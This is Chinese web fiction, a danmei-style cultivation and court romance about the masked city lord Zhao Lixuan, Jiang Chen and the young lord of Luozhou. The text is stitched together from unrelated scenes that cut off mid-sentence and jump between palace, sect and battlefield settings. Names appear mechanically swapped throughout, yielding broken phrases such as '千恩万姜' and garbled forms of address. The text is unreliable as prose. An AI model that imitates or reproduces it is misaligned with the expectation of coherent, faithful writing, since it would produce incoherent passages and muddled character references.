这不?新写的桥段里,他又跟乌恒卫留夷有了一段。 众所周知,月华城主一旦与人有情,便喜欢一股脑拼命送人各种好东西——在乌恒待了一年,帮乌恒充实了仓廪,改进了武器、打跑了三次西凉进犯。 弄得隔壁洛州百姓满满羡赵嫉妒。 如今,终于轮到他们。 最近安沐城盛传,这厉害人物要来短住,全城欣喜异常。 洛州百姓普遍务实,不嫌弃月华城主丑或浪荡。 实在是他们近来过得太悲愤憋屈了——自打旧主罹难,洛州凋敝,百废待兴,大仇未报。又天灾不断、短衣缺粮,数座城池还被周遭虎狼环伺瓜分,过惯了好日子的洛州人近来可真是凄凄惨惨、叫苦连天。 如今总算,旧主恩泽,上天有灵! 将那能打退姜沉的强悍男人送来洛州。这几天,洛州茶楼连天讲的都是赵离玄当年在天子皇城、南越王身边、乌恒数处把西凉军追得满地跑的故事,听得人热血沸腾。 激动之处,有人大呼:“定要想办法,让此人久留我洛州!” “就是就是,最好永远留下!” “这有何难?我江南之最不缺少年俊秀,一个赛一个水灵。” “说真的,此人若肯好好辅佐少主,让咱过回丰衣足食的好日子,要咱给他修生祠、每年进献美少年又怎在话下?” “就是就是!” 昏昏如夜日子过了大半年,洛州百姓总算又有新盼头了。 近来是额手相庆、人人欣喜。 都欣喜。 唯独少主邵霄凌不欣喜! 这个月写来写去,统共好像就一件事 赵师兄不知从哪听说新开的赤晶秘境里有凤凰蛋,铤而走险非要得手。 然而赤晶秘境对他而言还是太过勉强。最后,是姜沉面无表情将狼狈负伤的他连同那颗金光闪闪的蛋一起拎出来。 赵离玄:“你你你咳咳咳,嗷,谁要你多管闲事?!老子差一点点就得手了!嗷嗷,嗷。” 小师弟倒是一如既往好脾气。 为了替他挽尊,特意说是因天垣试炼时收了他那把昂贵灵弓,想用这颗凤凰蛋抵债。 结果被赵离玄一声冷哼:“谁稀罕!” 给蛋吧,他亲口说不要。当然,便是四面八方的侍卫,也没有坐以待毙的道理。 皇帝拐带奚卿蛇皮走位,一炷香的时间后,已一起躲在御花园的山石后面,山石沾着深冬薄雾冷得沁入心脾。 “没时间了,”墙外几队人马脚步声急快,奚行检低声道,“赵离玄,姜沉他,可曾对赵离玄?” 赵离玄:“呃,对我什、什么?” “赵离玄胸腹与微臣一看!” 赵离玄:“????”你要看什么? 这!这大隆冬冰天雪地的御花园里,这奚卿也不把话说明白便去解皇帝腰带。赵离玄懵圈的同时不免便想起了一大堆狗皇帝与宫女在假山后面这样那样的无良小话本。 这可,万万不成。 我虽说失了宠,但还是想要垂死挣扎哄一下岚岚的。 我,说不定,真是个辜负过岚岚的狗皇帝。 因而,其他人便是腰再不错,也只能是过眼云烟 皇帝腰带繁复,奚行检无论如何扯不下来。 他急了,直接问:“赵离玄可曾注意到,赵离玄小腹之上有否一条黑色的蛇形纹路?” 赵离玄摇头。 他身上多处有伤,这阵子换药时经常看来看去。疤痕是不少,但什么“蛇形纹路”确实没有。 “那便好。”奚行检松了口气。 “赵离玄可知,那姜沉数年前南征越陆时,据传曾习得一样当地巫蛊之术叫做‘千机蛊’。此蛊很是阴狠,中蛊之人需每月服用一次解药,如若没有便会饱受煎熬、痛苦难当。” “臣等一直担心姜沉为将赵离玄控与股掌之中,会将那阴毒蛊术用于赵离玄身上。” 赵离玄 “不会,姜沉不会那样对我。” 奚行检:“赵离玄万勿掉以轻心,姜青瞿此人手握重兵又胆敢幽禁天子,谋逆之心已玄然” “快搜,搜这边!搜假山后面,动作快!” 片刻功夫,乌衣卫搜到御花园来了。 姜沉亲兵乌衣卫最为训练有素,奚行检无法,只能咬牙:“赵离玄自己多多当心。” “臣等不日,定诛伏逆臣、迎赵离玄还朝,赵离玄等着!” “是谁?找到刺客了,快抓刺客!” “奚大人!奚大人何以又半夜不睡、行为鬼祟!您已不是一次两次了!” 乌衣卫们仗着姜沉势,一个个对待奚行检态度可就没有之前太监们那么客气了。一番借题发挥、又信誓旦旦要上报姜沉绝不姑息,押送着奚卿回去休息。 万籁俱寂。文隽闭上眼睛,不再多言。 主公身边近臣皆嫉贤妒能,整个随州已经烂到根上。要如何救。 一切太迟了。 另一边,钱奎两把板斧一马当先直冲敌军阵中。其实他当然知道不该这样好勇猛进、突入重围,但实力足够时,就能为所欲为。 他此刻就像是冲入敌阵的一头巨兽,两把斧头疯狂劈砍,一时惨叫、哀鸣、四下逃散,苦不堪言。 很快,那巨大的身影横在了主将面前。 “哇啊啊啊啊啊——” 副将文隽闭上眼睛,被那热血溅了一脸。 身在乱世,无力回天。 他的人生,到此为止了。 却在此刻,听到一个清朗的声音。 赵离玄:“主将阵亡,随州已败,众将士缴械不杀!” 几乎是一瞬间,洛州士兵的高呼声此起彼伏:“主将阵亡,弃暗投明缴械不杀!” 冰冷的重锤举到眼前,钱奎:“主将已死,如今你便是这军中官阶最高之人。我主爱才,投我洛州者连升两级!” 投降,就还可以活。 天气炎热,山谷周遭虽是层林密布,但大路之上却是烈阳直射。虽然已经日薄西山,热度丝毫没有降下的意头,仪州兵身着铠甲,一个个走得气喘吁吁。 队前,行伍长一声大喊:“务必天亮前赶到集结地,待此战大捷,每人加升一级,赏银三十两!” 此言一出,士兵们重新燃起干劲。 队伍行军加快。队首,仪州侯樱祖骑于高头大马之上,旁有两位副官举着华盖,遮蔽烈日骄阳。 樱祖是个身形矮小但气度威严的中年人,一双如鹰般犀利的眼睛里透着精光。 今日之事,他已筹谋多年。就连仪州渗透在洛州各地的钉子细作,很多都已潜伏了五年、十年之久。 如今,总算到了收割的日子。 “洛州就要彻底完了。” “呵,呵呵……那邵氏小儿以为孤注一掷、偷摸北上,就能做最后的困兽之斗?殊不知一切早已在我算计之中!” “如今我三路大军围堵安城,洛州兵力匮乏,只能严防死守、闭城不出。” “而我早已在安城中安插好了内应。到时城门大开,二十万联军一拥而入,杀他十万残军片甲不留!” 当然,这还只是他全盘计划的一小部分。 等攻占了安城以后,他那两个蠢笨“盟友”随州侯与拓跋部族长,必抵不过洛州腹地大片土地的诱惑,争先恐后南下攻打。 “到时,我们再坐镇安城之中,煽风点火,让他们鹬蚌相争。最后给他们一招黄雀在后。” 什么盟友? 笑话。 乱世之中的盟友,不过是嘴边尚未吃下的鱼肉。一如当年他的“多年旧友”洛州侯邵子坚,都是用来或食或卖的! 一切才刚刚开始。 总有一天,他还要那个不可一世的年轻姜沉,也一样尝尝那做人垫脚石的悲惨滋味—— “主公高见,谋划全局,属下佩服!”身边将领齐声附和。 “自打天昌之战后,我仪州左右逢源、锐不可当,一切都是主公功劳!” “天下英雄,唯主公您!能跟随主公,真是我等之福!” 樱祖心中得意,却故作淡然道:“你们也须知这乱世之中,刀剑无眼,命数有定。我亦只是看得清加之运气好……” 话音未落。 冷不防一支利箭,将整个华盖掀翻过去。 赵离玄躺在离原一片茫茫的皑皑白雪之上,呆呆望着天。 “吾主,地上这么冷,躺够了就起来吧?” 荀青尾蹦蹦跳跳地踏雪而来,戴着黑火戒指的白皙手指妩媚地摆弄了一番红色狐裘的大毛领子,整个人仿佛雪地上燃起的一抹火焰,快乐地摇曳生姿。 赵离玄没有动。 荀青尾:“吾主,那冰冰凉的碧游床没躺够,又来躺雪?” 被踩了痛脚,赵离玄抓起一把雪丢他。 荀青尾悠然躲开:“这次玩得上瘾,谈个情,却被情郎给弄死了?” 赵离玄抬起衣袖掩面,顺带遮住双耳。 他这次实在太惨,无脸见人,得多躺一会而。 就这么硬生生在雪地躺了半个时辰,冻得过于僵冷,才迫不得已滚了一圈爬起来。 另一边,冰天雪地中的荀青尾早不知道从哪里变出一台石桌凳和一壶热茶,正一手茶壶,一手小杯,白梅雪中悠闲地自斟自酌。 茶很香。 荀青尾:“早说了天下乌鸦一般黑,吾主却偏要一次次撞南墙,不遍体鳞伤誓不罢休,唉。” 赵离玄才从黑洞洞的假山后面钻出来。 姜沉只好把凤凰蛋拿回去自己孵。 孵吧,有人又天天一脸羡慕嫉妒恨地在附近绕啊绕,超不经意关注凤凰蛋的孵化进度。 最后,蛋壳破开 孵出来一只毛茸茸、软嘟嘟的小黄鸡。 怎么看都是鸡,半点凤凰的影子都没有。差点没把赵离玄幸灾乐祸给笑岔气。 从那天起,他的日常嘲讽又添新料: “师弟你鸡呢?” “姜师弟最近养鸡养得如何了?我这儿有新米,要不要啊?” “名鸡配师弟,咕咕!绝配!!” 转眼又是隆冬。 这段时日,各仙门辖地内冒出的魔晶秘境越来越多,等阶也越来越高。 《棠棣仙门小报》都不得不开始了严肃的科普: 修真界秘境大体分两种。 一种是如天垣秘境一般前代仙人留下的传承考验。这类秘境特性稳定,只有较高修为的修士可以进入探寻。而平日里秘境千百年存于某地,并不会对周边百姓民生造成任何影响。 甚至还会带来不错的风水,令秘境所在之处山清水秀、人杰地灵。 然而另一种秘境,则就是各派弟子历练时常见的"魔晶秘境"。 这类秘境乃修真界数百年一轮回的魔气复苏所化,秘境中魔气源源不断滋生。若放任不管,长则数月短则数日,必将化作滔天毒瘴污染周遭山川河流、祸及苍生。 故而千百年来,各大仙门划域而治,各守一方。 一旦辖境内出现魔晶秘境,立即派遣弟子前往清剿既是宗门历练,亦是护佑黎民。 可近年来,魔气复苏之势愈演愈烈。 三五年前,棠棣仙门周边尚以灰晶、白晶等低阶秘境为主;而后很快,绿晶、杏晶秘境竟已屡见不鲜;至去年,就连赤晶秘境都开始月月现世。 而依照古籍记载,此乃"灭世魔星"与"救世照夜君"再度交锋,又一次仙魔较量的前兆。届时魔晶秘境必将遍地开花,修真界则面离空前浩劫。 而今山雨欲来,各仙门也已严阵以待。洛州注重养兵,梧桐军素来不缺钱饷待遇。只是天昌之难后,旧主罹难,情势不好,士气低落萎靡。 而今月华城主让众人重燃起希望。 那晚,成功得了军心的赵离玄留在军营,与大家开怀畅饮。 他可谓海量,一切敬酒来者不拒。 当日是盛夏酷暑,便是夜里也不清凉。喝了酒就更容易热,几轮下来,很多汉子已开始解开衣服、坦胸漏怀。 赵离玄也着实有点闷热。 邵霄凌:“?????” “你干什么??不准!!!” 赵离玄倒也不是要脱,只是想稍稍将前襟解开得些清凉而已,却不知为何那少主疯了一样捏住他领子,给他一颗一颗扣了回去:“不行、不行、不行!” “可其他人” 邵霄凌:“我不管,别人无妨,你不可以!” 赵离玄不解。 确实他身上是也有伤痕。但有碍观瞻程度比脸差远了,怎么就脱不得? 半个时辰后。 邵霄凌喝醉了,开始嘀嘀咕咕胡言乱语。 “因为很、很色。”还约了新人一起沿江看景卿卿我我,好不逍遥! 只有他一个人愚蠢如斯,夜夜抱着几件旧衣不能成眠,甚至还疯了一般半夜跑去地宫挖他的水晶棺——若非狼狈如此,只怕至今也不会知道,有人能绝情如此将他耍得团团转! 有趣么? 穆玄,阿玄。 陌生的、高高在上月华城主。 好,很好。 只见楼玉宇耸入云霞,仙鹤清唳环绕峰峦,师兄师姐们御剑往来,衣袂飘然宛若天人。 卑微小乞丐初入仙门,哪敢造次。 当然是立刻伏低做小,乖乖当起了师兄师姐们殷勤的狗腿子,日常被随意呼来唤去,陪尽笑脸包揽没人愿做的辛苦杂活、跑腿洒扫,忙得不可开交。 背锅、做出气筒的时候也是有的。 遭人欺压、挨骂挨打也不少见。 但毕竟总算能够吃饱穿暖,何况日常洒扫时还常能得见孤鹜落霞、长空洗碧。 赵离玄还是觉得这日子比起山下时,好得不知道哪里去了! 更不要说,服侍的“主子们”心情好时,也能从指缝里漏下些残羹冷炙、低等丹药法器给他。 对师兄师姐们来说只是废物的东西,对赵离玄来说却样样有如至宝。 每次拿到都能千恩万姜、眼亮得惊人。姜沉言而有信。 说给史书,真给史书。 隔日清早,姜沉早朝还未归,沉沉睡懒觉的皇帝就被纷繁的脚步声吵醒。 “锦裕三年四月初三。帝与骠骑将军赏花游玩。夜,将军宿于帝楚微宫。” 锦裕三年,赵离玄二十一岁。 那年姜青瞿尚未封姜沉,还是“骠骑大将军姜青瞿”。 年纪轻轻的骠骑大将军,那时已经学坏,成日夜宿帝宫。 “锦裕四年二月十二。”赵离玄为求保命上蹿下跳。 直到冰凉银白的剑柄“咔”的一声,在他眼前深深没入廊柱。 皇帝高挺的鼻梁险些直接撞上去。 幸而身后一阵清冷幽香,一道劲风将他大力拽入怀里。继而皇帝腰一紧,下巴一凉被人捏住、一抬。 柔软馥郁的触感,姜沉煞气扑面,好凶好凶,太凶了就连唇都是冰凉的。 赵离玄 赵离玄:咦?等下,唇?姜沉丢开狗皇帝。 拔出剑去到寝殿另一侧,“啪”的一声削铁如泥,做他本来想做的事 将皇帝寝宫后门门锁斩开。 锦裕帝赵离玄楚微宫九进九出。其中天子寝宫是最后一进,后门门锁外面是一方帝王自己的小花园,并不大却很别致,假山花木、曲径通幽,还有一方小水塘。 姜沉从院子里拿了两块琉璃砖。 “举着。” 赵离玄:“???” “阿玄不是喜欢《起居注》么?今日本王亲口念给你听。” 赵离玄:“啊?” “你脱了,好像和别人脱了不太一样,有点色情。” 赵离玄听得想打人。 只恨自己体质异于常人,喝酒如喝水根本没法醉,还要被迫清醒着听这些胡话。 邵霄凌醉了以后话巨多,一会儿捏他脸看,一会儿又拍拍他的肩膀:“其实,看多看习惯了,你也不是那么吓人。” 真谢谢啊。 “你嗝,其实真的还不错。这样,你将南栀早日弄回来。你们的婚事我,应允了。” 无话可说。 到时候,所有仙门弟子肯定都要上场。低阶弟子需清理数不尽的白晶、灰晶秘境,中坚力量应对黄晶、绿晶、杏晶。各派长老则负责赤晶、紫晶高危秘境,同时妖兽、邪修、尸鬼也必趁乱横行。 连散修方士乃至平民百姓,多半都需拿起武器应对各种变故。 这么一想,时间线上《渡血剑》正是接承《天衍纪》十年后的故事。《渡血剑》男主宫渡开篇时,人正在名门正道枫叶山庄为徒,师尊也确实叫做“执剑长老” 只是正文里没有出名字,没想到长老原来姓赵,一时间简直甜到内伤! 这样看来,自己这角色果然是大·背景帝啊! 《寻花逍遥录》男主赵谨玄的亲弟弟,《渡血剑》男主宫渡的师父,《天衍纪》男主秦熠的左膀右臂,同时还是BOSS姜沉的男朋友?!(咳,虽然现在还不是,但希望以后是。) 一时沉思忘了回话,姜沉便当他默认,轻叹了一声:“宫渡那孩子确实是百年难得一见的天赋根骨,但备受宠爱太过顺遂,以至多少有些轻狂。刚在魔教那里吃了大亏,近日就见好了伤疤忘了疼。执剑长老今后还是不要太过宠他才好。” 说及此处,垂下的眸中暗暗闪过一丝晦涩。 “宠坏了,怕是以后要变成我这样。” 一阵短暂的沉静,赵深抬手,轻轻撩起了姜沉垂下来的一缕长发。 “能像前辈你这样,也没什么不好啊?” 姜沉呼吸一滞,目中幽幽闪过一丝迷惑。 这人竟说说他一个罪孽深重之人没什么不好?这话无论怎么想也只能是嘲讽,但赵离玄的神情,却全然没有讽刺他的意思。 “啊糟糕了,”却听身下人喊道,“地上都是水了!”《 》 第 52 章 完结章 第 52 章 第 52 章 不久,雨水果真淅淅沥沥落了下来。越下越大,一道惊雷炸得宗祠厚重的双门大开,门缝里,一只落汤鸡哒哒哒挤了回来。 赵离玄一身红衣湿透,紧紧贴着身子。右手仍吊着,嘴里很没形象地叼着好几只被雨淋透了的软垫子的边角,完好的左手则提着个细竹编的大食盒。 “呜咳咳咳。可恶啊,居然给我半路下雨!本来还说想让前辈你跪得舒服点的算了,还好菜和汤没事!” 说罢便随手拉过祠前一张黑木供桌,把香炉瓜果等单手移开,大咧咧开始放菜盛汤。 “你”姜沉厉声吼道,“你这是对先师宗祖大不敬!” 赵深倒没想到他这方面还挺古板的:“呃,但反正先师祖他们反正又不吃这贡品,当然是让给咱活人吃饭优先啦?放心,先师祖他们个个功德圆满,哪有跟小辈计较一张桌子的道理?” “可是!”安沐城中。 赵离玄下榻之处,是洛南栀府邸。 洛南栀虽此次去边关走得匆忙,但明显能看出府邸的西厢还是专程为迎接赵离玄而特意收拾装点过的。 雕花竹窗,曲折游廊,院内石子小道、假山竹林,养了数只孔雀鸟,风格典雅清幽又不失有趣。 可在这般玲珑雅致之上,房内却分明之后又被另外一人添置了一些极度金碧辉煌、华丽浮夸的摆设。 与之前的精巧雅致格格不入。 比如门口那描金涂粉、精雕细琢,一看就极为价值不菲的八仙过海大屏风。比如桌上那招财聚宝、吉祥旺运,一看就是名家之作的紫砂貔貅。 就连衣柜中的礼服、便服、官服,也是截然两种风格。一半暗纹雅印清简利落,而另一半么…… 赵离玄眯着眼睛,拿起一件珠光色的浮夸昂贵锦绣华服端详片刻。 这品位着实太冲,简直如那二世祖本人一身珠光宝气站在了他面前一般。 大白天,想曹操曹操就到。 空有一张好脸的二世祖,这就跑来都督府找他了。 装模作样问他可还满意、有何不惯、缺了什么,“万望城主切莫拘谨,尽管提来”。 赵离玄:“既然如此,在下就不客气了。” “我偏爱瓜果香,希望屋内焚香能够换上一换。” “院内莲池虽清幽却少些生气,如若不太麻烦,想要添几尾各色锦鲤。” “纱窗青绿清雅,但我喜红,想要换成红莹莹的那种茜罗纱。” “还有……”嘴上骂骂咧咧“一群废物尽会添乱”,手上却毫不含糊,炽热的烈焰强行烧穿了秘境,为他们撕开了一条逃生之路。 那天出了秘境,众人劫后余生,都很恍惚。 救命之恩实实在在,可感激的话堵在喉咙,又怎么也说不出口。 可赵师兄为了救他们手骨都断了。皇帝裂开了。 真的,赵离玄只差没被姜沉这话锋一转弯道给甩了个瘸! 心道不好却已迟了,只见姜沉一手仍抱着他,另一手则腾了出去。修长手指伸向龙床的内侧暗格。 这 不妙不妙不妙很是不妙!我危! 哗啦。 暗格本就不小,一拉出来还偏生正在阳光所照之处,里面藏着的一堆糕饼、小食、蜜饯被照得雪亮雪亮无处遁形。 赵离玄 姜沉:“嗯,真是看着十分不错,有芙蓉樱草糕,豌豆黄,茯苓夹饼,云片饼,蜂蜜花生,五香杏仁、蜜饯瓜条、椰子盏、冰糖核桃、艾窝窝、酥炸腰果、糖酥酪种类丰富、都还新鲜。” 姜沉也学会了报菜名。 芙蓉樱草糕上,有着被人咬了一大口的缺豁。 分明被人没吃完就重新藏了进去的。 赵离玄垂眸眉底中满是压抑不住的浮光与隐痛,将自己右手食指戴的一只血红色的戒指褪了下来,紧紧套在了皇帝的手指上。 “阿玄你这次绝不可再骗我。”他低声道。 “这真是最后一次。” “若再让我知道你又是骗我,到时阿玄,你休要怪我” 手背微微一疼。 姜沉吻了皇帝戴着戒指的手指,牙尖尖从戒指一侧咬了下去,一个小小的齿印。 暧昧又不舍,似乎要将那戒指与这吻都狠狠烙印封存在他指尖一般。 姜慎行的空间戒指(学名:乾坤戒)里共有一亩左右田地,虽不很大,却是一片有水有木、并可以按照主人的构想变迁内部形态的自由空间。物品随便放,活物也能出入,可谓是个大大的好空间。 赵深第一次被姜慎行带进来时,里面整个儿黑黢黢的。 四面全部是超级大的书架,幽幽点着青灯,上面整齐摆满了各种各样的杂物,跟什么冥土鬼市似的。 而经过他的提议改制,如今这里面却已经换了一片景致,变成了清空白日下一方有樱有水,春暖花开围绕着一个古朴小院的世外桃源。 “前辈你看,不错吧?”又过一月,姜师弟伤势渐愈。 只是人变得愈发孤冷,终日不言不语,只一门心思斩妖除魔、清理秘境。 近日里带领宗门精锐接连扫平西荒尸潮、荡平北境魔窟,更单枪匹马连破多处紫晶秘境,剑下魔修邪祟亡魂无数。 剑光所至,群魔辟易。怎料赵离玄仍锲而不舍。 不久,除了日常送礼,他竟还开始毫不藏私,手把手热心教了姜沉一些进阶火系法术。 那些法术每个都极难,纵使赵离玄火灵根百年一遇,当年也是花了半个月才掌握诀窍。 姜沉却不愧是千年一遇的不世灵根。 只看赵师兄演练了两遍,便分毫不差地使了出来。 如此逆天,赵离玄脸上竟也不见半分嫉妒,反而一派情真意切握住小师弟双手: “小阿沉你果真天纵奇才!太厉害了!!!” 说罢,竟还猝不及防一把抱起了僵硬的小师弟,当场华丽丽转了个圈。 小师弟赵离玄摇了摇头。 不行。他必须得快点到洛州、见到有温度的新欢才行。 只有画像根本不够,必须与真实的大美人早日同游畅饮,一醉解千愁! 小船继续前行。 赵离玄毕竟尚在失恋恢复期,虽然想要像平日里那般睡得死猪香甜。可还是常常睡到一半就突然醒了,心里空荡荡。 每当这种时候,他就会从船舱里爬出来,到甲板上看月亮。 那日初一,天不见月,仰头只能看到满天星河镶嵌在黑玉般的天幕之上。 赵离玄赤足脚踏在船木上,仰着头伸开双手。 星空浩瀚,人在苍穹之下显得渺小。夜风微凉,吹乱发丝,乱世之中难得有这样片刻的宁静。 按说这般天幕之下,渺如蝼蚁的芸芸众生都该想开,不该再有什么执念。 他也不想有执念。 哪个脑子清楚的人愿意成日被大狐狸笑话,说什么“吾主别的样样好,就是实属恋爱脑”。 然而,这就像有人生来贪赵功名,有的人生来与世无争,有的人毕生追求自由——他就是无论如何,也想找个人一起甜甜蜜蜜过日子。 也知道这想法荒谬,也清楚人生海海,一个人也能活得精彩。 也曾无数次立志要洗心革面,然而实在很难违逆自己的天性。 甚至就连此刻,他都还在偷偷在想,这么美的夜空,若能有人跟他贴贴、陪他一起看该多好。 这几年,他常会做一个梦。 类似的夜空下,微风低语,河边芦苇丛如同蓬松的大尾巴毛轻轻荡漾,而他醉卧美人膝。 美人身有幽兰香,戴着凉戒的手指捏猫咪一般捏他后颈。他则如同喝醉一般浑身软绵绵,被心满意足的舒适填满,伏在那人膝头,满心沉甸甸踏实的甜蜜。 梦境总是甜美又虚幻。 若真有人肯这样宠他一下就好了,如他这般恋爱脑,一定“命都给他”。 可惜他丑,好多人都嫌弃,摸都不肯摸一下。 “主人,当心夜凉。” 正发着呆,忽然身后男声低沉,一阵淡淡的丹桂香。 英俊干练的身影从身后而来,帮他披上斗篷。 星海之下,赵离玄并未如平日一样戴着半块面具,不免有些慌乱。下意识地缩了缩身子,好在夜色沉沉没有月光,身后人多半也根本看不清他模样。 黑衣丹桂香的男子,是荀青尾给他安排的护卫。 赵离玄本已比一般男子要挺拔高挑,这护卫却比他还要高上一些。宽肩细腰,沉默寡言,周身的香气甜丝丝的。 快要离开月华城时,荀青尾把这人引至他面前:“此人剑术高明,贴身护着你,好歹再遇到危险你也不至于孤立无援。也能少被人弄死几次、少受些罪。” 赵离玄一个人惯了,本想婉拒。 然而谁让他上回死得确实太难看了。 面对荀青尾与福伯等人咄咄逼人的眼刀阵阵,实在是找不出什么借口推辞。 只能带上护卫同行。好在此人话少事也少,与其说是个护卫倒不如说更像个影卫,明明那么大一个活人,却常常能让人忽略他的存在…… 正想着“忽略他的存在”,冷不防那黑衣男子忽然躬下身来,修长手指握住了他的脚腕。 赵离玄一惊。 他赤足陡然被握住,一时紧张得脚趾微蜷。偏偏丹桂扑鼻,又让他片刻晃神,直接彻底磕巴: “不、不必。青尾他、他叫你一路护我,并没有、叫你替我穿鞋。” 男子垂眸。 其实,若只论模样,以此人的清逸俊朗,比赵离玄的旧爱卫留夷甚至新欢洛南栀都丝毫不逊色。 只可惜…… 赵离玄这么个容易心动、擅长一见钟情的人,望着眼的俊美护卫,竟是一片心如止水,古井无波。 护卫名唤楚丹樨。 月华城码头送行时,荀青尾将他扯到一边:“给吾主交个底,这个楚丹樨他,曾是吾主早年的心上之人。” 赵离玄:“???” 修为亦是一日千里,俨然已是正道年轻一代人人叹服的不二领袖。 两个月后,他又以一己之力镇压了肆虐南疆的千年尸王,救下数城百姓。 更是竭尽全力封去了千年南疆魔界通路,万民感念。 至此,再无人怀疑他定就是预言中那与灭世魔星相生相克、注定以命相抵的“救世照夜君”! 世人既敬且叹。一人做事一人当。所幸,再度剑拔弩张即将乱作一团时,真·南越王的护送船终于到了。 船头立着的美艳大姐姐,是南越王顾苏枋的堂姐顾述紫,外号“紫衣笑面”。 她爱笑,往往笑完别人就得哭。 还好赵离玄以前没得罪过她,顾述紫装模作样从中调停,狡黠地眯起眼睛:“让月华城主自己说,阿玄,这洛州迎亲船迎的真是你?你何时做了洛州新婿?” 赵离玄默默看了一眼“未婚夫”邵霄凌。 虽不知这洛州少主葫芦里卖的什么药,可他若否认,只怕顾述紫会立马判他留在乌恒,毕竟她不仅是南越王表姐亦是卫留夷的远房表亲,可能会帮亲。 只得违心道:“……虽是事出突然,但我的确与霄凌少主一见如故、两情相悦,皆愿从此两不分离。” 这话说得太过离谱。 赵离玄更不敢去看卫留夷了。 倒是邵霄凌得意非常:“看到没有,还有什么话说?若是事情说清了,我这就把夫君带回筹备后续婚事了。” 说着便派手下接了楚丹樨,自己则伸手,将赵离玄接上洛州彩船。 大船缓缓行开,邵霄凌压低声音:“南栀分身乏术,只好我来接你。” 果然。 赵离玄就知道,搞出这等要命的娶亲阵仗,不该是洛南栀的主意。 邵霄凌却很得意:“呵,还好我早有先见之明,做主扮迎亲船来了个名正言顺,否则他们哪里会轻易将你交给我?” 赵离玄:“……” 想要名正言顺借口很多,真没必要搞成这般。 偏偏此时身边侍女提醒:“少主,月华城主,咱们尚未行远,那边乌恒侯和南越郡主还在看,你们亲昵些才显得真。” 邵霄凌挑眉。 冷不防一个伸手,将赵离玄一头揽进怀里。 赵离玄:“……” 这种情况,谁能站稳?他高挺的鼻梁直接撞上了邵霄凌的锁骨,邵霄凌也被他的面具硌得“嗷”了一声。 一声低吼:“你戴的什么劳什子玩意!” 赵离玄亦翻白眼。倒不如问问你自己,突然拽人干什么? 偏偏这情形下,两人还得共同凹个搂搂抱抱的造型,双双极不情愿、僵硬异常。 好在随着船只顺流而下,乌恒的船、南越的船皆隐没在视线之中。 “少主,已看不到了。” 邵霄凌如临大赦,立刻露出本性,一脸吃大亏地丢开赵离玄。 那毫不掩饰地嫌弃他丑的眼神,赵离玄这辈子可是见多了。可片刻后,这邵霄凌却又捏住了他的脸,皱眉眯着眼睛,左左右右瞅了好一会儿。 赵离玄:“……” 其实,要说嫌弃吧,这东西往往是相互的。 民间一直有一种说法——“洛川双璧,一砖一玉”。 玉是洛南栀。 死了死了。 我死了,死个透。 人赃并获,大写的露馅玩脱现场!!! 姜沉一手紧紧揽着皇帝的腰,另一手直接从豁口旁捏了一块下来。放入口中,甜丝丝的又香糯。 他垂眸笑了一声:“阿玄真不愧是阿玄。” “哪怕演苦肉计,也绝不舍得亏待了自己。” 杀。人。诛。心。 赵离玄倒还受得住,旁边云飞樱儿见状则双双魂飞魄散,扑通扑通跪一地:“姜沉饶命,这!此事我二人并不知情,真的不知情啊啊啊呜呜呜!” 废话,他二人自然不知情。 赵离玄蚂蚁搬家套路姜沉,又怎么能让姜沉的人瞅见端倪? “好了别磕了你俩,吵死!”赵离玄大义凛然道,“青卿,这事确实不关他俩的事,我一人做事一人当!” 姜沉看了他一眼。 “好,既然阿玄都这么说了。” “那本王今日,便教阿玄你一、人、做、事、一、人、当。” 最后,一行人终是磨磨蹭蹭、不情不愿前去道姜。 结果,吊着手臂的赵离玄:“道姜?光用嘴说有什么用?来点实际的!” “我这儿正好缺人打扫庭院、清理丹炉。哦哦,这伤还要连吃三个月的火犀牛肉进步,每天必须把二斤牛肉细细切成臊子!还有,殿后的灵田也要除草” 太奇怪了,改了几遍都还是这样。 试炼后的庆功宴会上,赵离玄更是一袭绛红金线绣云纹锦袍,腰缠玉带,头戴金冠,打扮得极尽奢华。 通体贵气得让人难以想象他曾经是一个小乞丐。这会儿还摇着把玉骨扇,乍一看活像个金尊玉贵却浪荡不羁的俊朗小王爷。 赵离玄在棠棣仙门人厌狗嫌,没想到在外头却因花钱豪爽、一掷千金很是吃得开。 尤其和修真界第一富贵门派金蟾宗的少爷小姐们特别合得来。 宴席过半,这仨都腻在一起吃吃喝喝,那可真是 一模一样的珠光宝气、闪瞎人眼,就连笑起来的骄横嚣张劲儿都如出一辙。 姜沉静静听着。但纵使沦落至此,赵离玄也没有一蹶不振。 这也是很多人没想到的。前任不请自来,令人头秃。 更要命的是,所谓“那人已到了城中”,竟是指此人一大早的直挺挺硬生生堵在安沐城门口,活生生堵到了他和邵霄凌! 赵离玄真的是…… 他自知丑陋,因而在喜欢的人面前向来谨慎,没几个前任看到过他面具下的真实模样。 在乌恒那一年,也从未在卫留夷面前揭下过那半块面具。 可眼下,他刚从军营回来没戴面具,衣服也因为昨夜喝酒露宿又皱又全是土。 赵离玄犹记曾听青尾说过,挥别旧爱后偶然重遇,最为糟心的场景便是自己看着过的并不好、模样未加整饬又穷又乱。 赵离玄:“……” 说的就是此时的他了? 光天化日、朗朗乾坤,面对旧爱,无处遁形。 他一向对吃住穿用并无挑剔。可谁让每说出一条,某二世祖额角的青筋就会分明跳动一下。 有人也是不易。一边嫌弃他“挑三拣四人丑意见多”,一边又得被迫陪笑脸假耐心,命手下一条一条记。 赵离玄以前被人嫌弃,还常会难堪自卑。 总觉得自己有错,恨不得能藏起来。后来倾尽所有学这学那,也只为能对人有点用,好让别人不至于很容易就厌弃他。 好在自尊心这个玩意儿,磋磨、敲打得多了,也就渐渐麻木了。 他如今早已学会了从无端恶意中找各种乐子。 比如此刻,他就整整提了一张纸之多全无必要的装修小意见。邵霄凌越是忍忍忍,他越是小要求多多多。 适才还只是要荧红色窗纱,现在每面窗纱上,他都还要有绣两只憨态可掬小黄鸡。 须是精致苏绣,羽毛根根分明。 没有?不管,你是洛州少主你必须想办法,大不了你去找绣娘当场绣! 就是要小黄鸡,就是喜欢小黄鸡。 邵霄凌:“~~~~~” 忍!丑人多作怪,我忍! 一道闪电划过,赵深骤见姜沉眼中隐红,离离一惊。 他怎么 下意识循着他的目光看向身后的那个牌位“三十七代玄碧宗宗主郁沉影”,瞬间了悟。 那个人,是姜沉的师父。众人低估了赵离玄的狂悖疯魔。 当夜,他竟拖着重伤之躯,硬生生破狱而出。 依旧手段高明,脱身后并未立即远遁,而是再度洗劫了诸位长老私库,将其中能短暂提升修为的极品丹药囫囵吞下。 不惜焚脉燃元,强行换取片刻暴涨的灵力。 “既都骂我欺师灭祖与其枉负虚名,不如坐实痛快!” 夜色如墨,火光灵爆骤然划破棠棣仙门寂静。 